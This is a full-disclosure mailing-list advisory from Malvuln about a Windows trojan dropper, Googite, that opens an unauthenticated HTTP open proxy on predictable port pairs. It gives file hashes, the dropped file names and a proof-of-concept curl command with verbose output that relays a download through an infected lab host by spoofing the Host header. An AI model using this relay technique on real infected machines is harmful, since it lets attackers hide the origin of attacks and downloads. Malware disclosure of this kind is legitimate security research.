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Date: Sun, 6 Jun 2021 22:46:09 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Dropper.Win32.Googite.a / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/ff30fbee3724d80dcb9471c0b553c99a.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Googite.a
Vulnerability: Unauthenticated Open Proxy
Description: Googite malware drops several executables under dirs
(SysWOW64/System32) and listens on non-specific but semi-predictable TCP
ports as ports "1202, 1200" repeat often. On reboot ports 1202, 1200 became
6064, 6062 and pattern is that the ports are two digits apart each time.

2522,2520
9914,9912
1202,1200 (repeat)
1202,1200 (repeat)
1398, 1396
1794,1792
5337,5335
1202, 1200 (repeat)
1626,1624
1260,1258
1202,1200 (repeat)
2504,2502
9242,9240
1229,1227
1202,1200 (repeat)

The executables take CL args for the Port like svchosts.exe -p1200, and
also allows spoofing the Host header when making HTTP requests to
third-party systems. Third-party adversaries who can connect to the
infected system can relay requests from the original connection to the
destination and then back to the origination system. Attackers may then be
able to launch attacks or download files from third party systems and it
will appear the attacks or downloads originated from the infected host. The
relay does not require authentication or any special User-agent check and
leverages the HTTP Host header in the request to connect to third-party
systems.
Type: PE32
MD5: ff30fbee3724d80dcb9471c0b553c99a
Vuln ID: MVID-2021-0240
Dropped files: svchostc.exe, svchosts.exe, surte.exe
Disclosure: 06/06/2021


Exploit/PoC:
1) DOOM.exe lives on 192.168.18.128
2) Use lower port of the two, high port (1650) will send RST packet when
try to download.

curl http://192.168.18.127:1648/DOOM.exe -H "Host: 192.168.18.128" --out
DOOM.exe -v
*   Trying 192.168.18.127...
* TCP_NODELAY set
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--
  0* Connected to 192.168.18.127 (192.168.18.127) port 1648 (#0)
GET /DOOM.exe HTTP/1.1
Host: 192.168.18.128
User-Agent: curl/7.55.1
Accept: */*

* HTTP 1.0, assume close after body
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.6
Date: Sun, 06 Jun 2021 23:51:47 GMT
Content-type: application/x-msdos-program
Content-Length: 103533
Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT
* HTTP/1.0 connection set to keep alive!
Connection: Keep-Alive

{ [65820 bytes data]
100  101k  100  101k    0     0   101k      0  0:00:01 --:--:--  0:00:01
 643k
* Connection #0 to host 192.168.18.127 left intact


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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